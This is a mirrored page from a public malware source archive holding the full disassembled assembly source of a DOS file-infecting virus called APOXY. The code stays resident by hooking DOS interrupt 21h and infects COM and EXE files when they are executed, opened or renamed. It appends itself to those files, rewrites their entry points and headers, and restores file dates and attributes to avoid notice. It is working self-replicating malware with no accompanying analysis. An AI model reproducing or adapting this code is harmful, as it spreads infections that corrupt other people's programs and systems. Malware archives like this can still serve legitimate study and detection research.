mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
655 lines
16 KiB
NASM
655 lines
16 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ APOXY ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 5-Jan-80 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 0F6h ; (042A:00F6=0)
|
|
data_2e equ 3D5h ; (042A:03D5=6Ch)
|
|
data_3e equ 3DDh ; (042A:03DD=61h)
|
|
data_4e equ 42Ah ; (042A:042A=2065h)
|
|
data_5e equ 448h ; (042A:0448=6575h)
|
|
data_6e equ 44Ah ; (042A:044A=2E20h)
|
|
data_7e equ 3 ; (80C6:0003=0FFFFh)
|
|
data_8e equ 41Bh ; (80C6:041B=33h)
|
|
data_9e equ 2 ; (80C7:0002=0)
|
|
data_10e equ 0B6h ; (80C7:00B6=80h)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
apoxy proc far
|
|
|
|
start:
|
|
jmp loc_5 ; (0110)
|
|
mov ah,9
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
int 20h ; Program Terminate
|
|
db 77h, 6Fh, 72h, 6Bh, 65h, 64h
|
|
db 24h
|
|
loc_5:
|
|
call sub_4 ; (0410)
|
|
mov ax,4288h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
cmp ax,4288h
|
|
je loc_6 ; Jump if equal
|
|
call sub_1 ; (037A)
|
|
loc_6:
|
|
call sub_2 ; (03C3)
|
|
cmp word ptr cs:[427h][bp],5A4Dh ; (80C7:0427=7400h)
|
|
je loc_7 ; Jump if equal
|
|
push cs
|
|
push cs
|
|
pop ds
|
|
pop es
|
|
mov ds:[bp+34h],cs
|
|
lea si,[bp+427h] ; Load effective addr
|
|
mov di,offset ds:[100h] ; (80C7:0100=0E9h)
|
|
mov cx,3
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
call sub_3 ; (0403)
|
|
;* jmp far ptr loc_2 ;*(0000:0100)
|
|
db 0EAh, 00h, 01h, 00h, 00h
|
|
loc_7:
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov ax,es
|
|
add ax,10h
|
|
add [bp+41Eh],ax
|
|
add [bp+420h],ax
|
|
mov ax,[bp+41Eh]
|
|
mov cx,[bp+41Ch]
|
|
mov [bp+67h],ax
|
|
mov [bp+65h],cx
|
|
pop ds
|
|
cli ; Disable interrupts
|
|
mov ss,word ptr cs:[420h][bp] ; (80C7:0420=5056h)
|
|
mov sp,word ptr cs:[422h][bp] ; (80C7:0422=0F28Bh)
|
|
sti ; Enable interrupts
|
|
call sub_3 ; (0403)
|
|
;* jmp far ptr loc_1 ;*(0000:0000)
|
|
db 0EAh, 00h, 00h, 00h, 00h
|
|
pushf ; Push flags
|
|
cmp ax,4288h
|
|
jne loc_8 ; Jump if not equal
|
|
mov ax,4288h
|
|
popf ; Pop flags
|
|
iret ; Interrupt return
|
|
loc_8:
|
|
cmp ax,4299h
|
|
jne loc_11 ; Jump if not equal
|
|
mov byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h)
|
|
jmp short loc_15 ; (01D3)
|
|
loc_9:
|
|
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
|
|
popf ; Pop flags
|
|
stc ; Set carry flag
|
|
retf 2 ; Return far
|
|
loc_10:
|
|
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
|
|
popf ; Pop flags
|
|
clc ; Clear carry flag
|
|
iret ; Interrupt return
|
|
loc_11:
|
|
cmp ax,4B00h
|
|
je loc_12 ; Jump if equal
|
|
cmp ah,3Dh ; '='
|
|
je loc_12 ; Jump if equal
|
|
cmp ah,56h ; 'V'
|
|
je loc_12 ; Jump if equal
|
|
cmp ah,43h ; 'C'
|
|
jne loc_13 ; Jump if not equal
|
|
loc_12:
|
|
mov byte ptr cs:[41Ah],0 ; (80C7:041A=0B6h)
|
|
jmp short loc_15 ; (01D3)
|
|
loc_13:
|
|
popf ; Pop flags
|
|
;* jmp far ptr loc_3 ;*(0019:40EB)
|
|
db 0EAh,0EBh, 40h, 19h, 00h
|
|
loc_14:
|
|
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
|
|
jmp loc_27 ; (0356)
|
|
loc_15:
|
|
call sub_6 ; (0420)
|
|
jc loc_13 ; Jump if carry Set
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push es
|
|
push di
|
|
push si
|
|
call sub_13 ; (04BD)
|
|
mov word ptr cs:[448h],ds ; (80C7:0448=7C80h)
|
|
mov word ptr cs:[44Ah],dx ; (80C7:044A=4D02h)
|
|
mov ax,3D00h
|
|
call sub_5 ; (0416)
|
|
jc loc_14 ; Jump if carry Set
|
|
xchg ax,bx
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh ; '?'
|
|
mov dx,offset ds:[42Ah] ; (80C7:042A=3Ch)
|
|
mov cx,18h
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
call sub_10 ; (0493)
|
|
push ax
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
pop ax
|
|
cmp word ptr ds:[42Ah],5A4Dh ; (80C7:042A=613Ch)
|
|
je loc_17 ; Jump if equal
|
|
cmp dx,0
|
|
ja loc_16 ; Jump if above
|
|
cmp ax,0D6D8h
|
|
ja loc_16 ; Jump if above
|
|
push ax
|
|
add ax,0FBCFh
|
|
cmp word ptr ds:[42Bh],ax ; (80C7:042B=7261h)
|
|
pop ax
|
|
jz loc_16 ; Jump if zero
|
|
add ax,0FFFDh
|
|
mov word ptr ds:[428h],ax ; (80C7:0428=0F74h)
|
|
jmp short loc_20 ; (02A2)
|
|
loc_16:
|
|
mov byte ptr cs:[41Bh],0 ; (80C7:041B=0)
|
|
jmp loc_27 ; (0356)
|
|
loc_17:
|
|
cmp word ptr ds:[43Eh],0 ; (80C7:043E=5845h)
|
|
je loc_16 ; Jump if equal
|
|
push ax
|
|
mov ax,word ptr ds:[43Eh] ; (80C7:043E=5845h)
|
|
mov word ptr ds:[41Fh],ax ; (80C7:041F=56C3h)
|
|
mov ax,word ptr ds:[440h] ; (80C7:0440=0F74h)
|
|
mov word ptr ds:[421h],ax ; (80C7:0421=8B50h)
|
|
mov ax,word ptr ds:[438h] ; (80C7:0438=83EBh)
|
|
mov word ptr ds:[423h],ax ; (80C7:0423=8AF2h)
|
|
mov ax,word ptr ds:[43Ah] ; (80C7:043A=3EEh)
|
|
mov word ptr ds:[425h],ax ; (80C7:0425=3C04h)
|
|
pop ax
|
|
add ax,10h
|
|
adc dx,0
|
|
and ax,0FFF0h
|
|
push ax
|
|
push dx
|
|
push ax
|
|
push dx
|
|
add ax,42Eh
|
|
adc dx,0
|
|
mov cx,200h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
or dx,dx ; Zero ?
|
|
jz loc_18 ; Jump if zero
|
|
inc ax
|
|
loc_18:
|
|
mov word ptr ds:[42Ch],dx ; (80C7:042C=872h)
|
|
mov word ptr ds:[42Eh],ax ; (80C7:042E=7A3Ch)
|
|
pop dx
|
|
pop ax
|
|
mov cx,4
|
|
|
|
locloop_19:
|
|
shr dx,1 ; Shift w/zeros fill
|
|
rcr ax,1 ; Rotate thru carry
|
|
loop locloop_19 ; Loop if cx > 0
|
|
|
|
sub ax,word ptr ds:[432h] ; (80C7:0432=202Ch)
|
|
sbb dx,0
|
|
mov word ptr ds:[438h],ax ; (80C7:0438=83EBh)
|
|
mov word ptr ds:[440h],ax ; (80C7:0440=0F74h)
|
|
mov word ptr ds:[43Ah],54Ch ; (80C7:043A=3EEh)
|
|
mov word ptr ds:[43Eh],0 ; (80C7:043E=5845h)
|
|
loc_20:
|
|
push ds
|
|
mov dx,word ptr ds:[44Ah] ; (80C7:044A=4D02h)
|
|
mov ds,word ptr ds:[448h] ; (80C7:0448=7C80h)
|
|
call sub_12 ; (04A4)
|
|
jnc loc_21 ; Jump if carry=0
|
|
pop ds
|
|
jmp loc_27 ; (0356)
|
|
loc_21:
|
|
mov ax,3D02h
|
|
call sub_5 ; (0416)
|
|
xchg ax,bx
|
|
pop ds
|
|
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
|
|
je loc_22 ; Jump if equal
|
|
xor cx,cx ; Zero register
|
|
mov dx,6
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
call sub_9 ; (0476)
|
|
jc loc_24 ; Jump if carry Set
|
|
call sub_8 ; (0460)
|
|
jmp short loc_24 ; (02FB)
|
|
loc_22:
|
|
mov ax,4200h
|
|
mov dx,26h
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
call sub_9 ; (0476)
|
|
jnc loc_23 ; Jump if carry=0
|
|
mov ax,4200h
|
|
mov dx,206h
|
|
xor cx,cx ; Zero register
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
call sub_9 ; (0476)
|
|
jnc loc_23 ; Jump if carry=0
|
|
jmp short loc_24 ; (02FB)
|
|
loc_23:
|
|
call sub_7 ; (045B)
|
|
loc_24:
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov cx,3
|
|
mov dx,427h
|
|
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
|
|
jne loc_25 ; Jump if not equal
|
|
mov dx,data_4e ; (042A:042A=65h)
|
|
mov cx,18h
|
|
loc_25:
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
call sub_10 ; (0493)
|
|
cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h)
|
|
jne loc_26 ; Jump if not equal
|
|
pop cx
|
|
pop dx
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
loc_26:
|
|
xor dx,dx ; Zero register
|
|
mov cx,42Eh
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
mov dx,ds:data_6e ; (042A:044A=2E20h)
|
|
mov ds,ds:data_5e ; (042A:0448=6575h)
|
|
call sub_11 ; (049D)
|
|
mov byte ptr cs:[41Bh],1 ; (80C7:041B=0)
|
|
loc_27:
|
|
call sub_14 ; (04D9)
|
|
pop si
|
|
pop di
|
|
pop es
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
cmp byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h)
|
|
jne loc_29 ; Jump if not equal
|
|
cmp byte ptr cs:[41Bh],1 ; (80C7:041B=0)
|
|
jne loc_28 ; Jump if not equal
|
|
jmp loc_10 ; (019F)
|
|
loc_28:
|
|
jmp loc_9 ; (0194)
|
|
loc_29:
|
|
jmp loc_13 ; (01C4)
|
|
|
|
apoxy endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
push ds
|
|
push es
|
|
mov ax,es
|
|
dec ax
|
|
mov es,ax
|
|
sub word ptr es:data_7e,55h ; (80C6:0003=0FFFFh)
|
|
inc ax
|
|
add ax,es:data_7e ; (80C6:0003=0FFFFh)
|
|
mov ds:data_9e,ax ; (80C7:0002=0)
|
|
mov es,ax
|
|
push es
|
|
push cs
|
|
pop ds
|
|
mov ax,3521h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov [bp+0B3h],bx
|
|
mov [bp+0B5h],es
|
|
pop es
|
|
lea si,[bp-3] ; Load effective addr
|
|
xor di,di ; Zero register
|
|
mov cx,54Dh
|
|
cld ; Clear direction
|
|
cli ; Disable interrupts
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
sti ; Enable interrupts
|
|
push es
|
|
pop ds
|
|
;* mov dx,offset loc_4 ;*
|
|
db 0BAh, 6Ch, 00h
|
|
mov ax,2521h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
mov byte ptr es:data_8e,0 ; (80C6:041B=33h)
|
|
pop es
|
|
pop ds
|
|
retn
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
push cs
|
|
pop ds
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
mov word ptr ds:[3E4h][bp],es ; (80C7:03E4=21CDh)
|
|
mov word ptr ds:[3E2h][bp],bx ; (80C7:03E2=27h)
|
|
lea dx,[bp+3ECh] ; Load effective addr
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
lea dx,[bp+3E6h] ; Load effective addr
|
|
mov ah,4Eh ; 'N'
|
|
mov cx,27h
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jnc loc_30 ; Jump if carry=0
|
|
loc_30:
|
|
mov ax,4299h
|
|
lea dx,[bp+40Ah] ; Load effective addr
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
jnc loc_31 ; Jump if carry=0
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_30 ; Jump if carry=0
|
|
loc_31:
|
|
lds dx,dword ptr ds:[3E2h][bp] ; (80C7:03E2=27h) Load 32 bit ptr
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
retn
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
xor di,di ; Zero register
|
|
xor si,si ; Zero register
|
|
xor bx,bx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
xor bp,bp ; Zero register
|
|
xor ax,ax ; Zero register
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
mov bp,sp
|
|
mov bp,[bp]
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
pushf ; Push flags
|
|
call dword ptr cs:data_10e ; (80C7:00B6=80h)
|
|
sub_5 endp
|
|
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;
|
|
; External Entry Point
|
|
;
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
int_24h_entry proc far
|
|
jnc loc_ret_32 ; Jump if carry=0
|
|
stc ; Set carry flag
|
|
|
|
loc_ret_32:
|
|
retn
|
|
int_24h_entry endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
push si
|
|
push ax
|
|
mov si,dx
|
|
loc_33:
|
|
mov al,[si]
|
|
cmp al,0
|
|
je loc_35 ; Jump if equal
|
|
cmp al,61h ; 'a'
|
|
jb loc_34 ; Jump if below
|
|
cmp al,7Ah ; 'z'
|
|
ja loc_34 ; Jump if above
|
|
sub al,20h ; ' '
|
|
mov [si],al
|
|
loc_34:
|
|
inc si
|
|
jmp short loc_33 ; (0424)
|
|
loc_35:
|
|
sub si,3
|
|
cmp word ptr [si],5845h
|
|
je loc_36 ; Jump if equal
|
|
cmp word ptr [si],4F43h
|
|
jne loc_37 ; Jump if not equal
|
|
cmp byte ptr [si+2],4Dh ; 'M'
|
|
jne loc_37 ; Jump if not equal
|
|
pop ax
|
|
pop si
|
|
retn
|
|
loc_36:
|
|
cmp byte ptr [si+2],45h ; 'E'
|
|
je loc_38 ; Jump if equal
|
|
loc_37:
|
|
stc ; Set carry flag
|
|
loc_38:
|
|
pop ax
|
|
pop si
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
mov dx,0FCD3h
|
|
jmp short loc_39 ; (0463)
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_8:
|
|
mov dx,0FD2Fh
|
|
loc_39:
|
|
xor cx,cx ; Zero register
|
|
dec cx
|
|
mov ax,4202h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,data_1e ; (042A:00F6=0)
|
|
mov cx,2
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
retn
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
mov dx,data_2e ; (042A:03D5=6Ch)
|
|
mov cx,8
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
push ds
|
|
pop es
|
|
mov di,data_2e ; (042A:03D5=6Ch)
|
|
mov si,data_3e ; (042A:03DD=61h)
|
|
mov cx,8
|
|
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
|
jnz loc_40 ; Jump if not zero
|
|
clc ; Clear carry flag
|
|
retn
|
|
loc_40:
|
|
stc ; Set carry flag
|
|
retn
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
mov ax,4202h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
mov cx,word ptr cs:[446h] ; (80C7:0446=0F75h)
|
|
jmp short loc_41 ; (04B2)
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_12:
|
|
mov ax,4300h
|
|
call sub_5 ; (0416)
|
|
mov word ptr cs:[446h],cx ; (80C7:0446=0F75h)
|
|
and cl,0FEh
|
|
loc_41:
|
|
mov ax,4301h
|
|
call sub_5 ; (0416)
|
|
jc loc_42 ; Jump if carry Set
|
|
retn
|
|
loc_42:
|
|
stc ; Set carry flag
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_13 proc near
|
|
push dx
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov ax,3524h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov word ptr ds:[442h],bx ; (80C7:0442=3C81h)
|
|
mov word ptr ds:[444h],es ; (80C7:0444=4F43h)
|
|
mov ax,2524h
|
|
mov dx,offset int_24h_entry
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop ds
|
|
pop dx
|
|
retn
|
|
sub_13 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_14 proc near
|
|
push cs
|
|
pop ds
|
|
mov ax,2524h
|
|
lds dx,dword ptr ds:[442h] ; (80C7:0442=3C81h) Load 32 bit ptr
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
retn
|
|
sub_14 endp
|
|
|
|
and bp,cx
|
|
and [bx+6Fh],dh
|
|
jc $+6Dh ; Jump if carry Set
|
|
db 65h, 22h, 19h, 35h, 93h, 59h
|
|
db 57h, 54h, 80h, 00h, 00h, 00h
|
|
db 00h
|
|
db 2Ah, 2Eh, 45h, 58h, 45h
|
|
db 46 dup (0)
|
|
db 0B0h, 00h,0CFh, 00h, 33h, 00h
|
|
db 00h,0E4h, 0Fh, 80h, 06h,0E9h
|
|
db 0Dh, 00h,0BAh, 09h, 01h,0B4h
|
|
|
|
seg_a ends
|
|
|
|
|
|
|
|
end start
|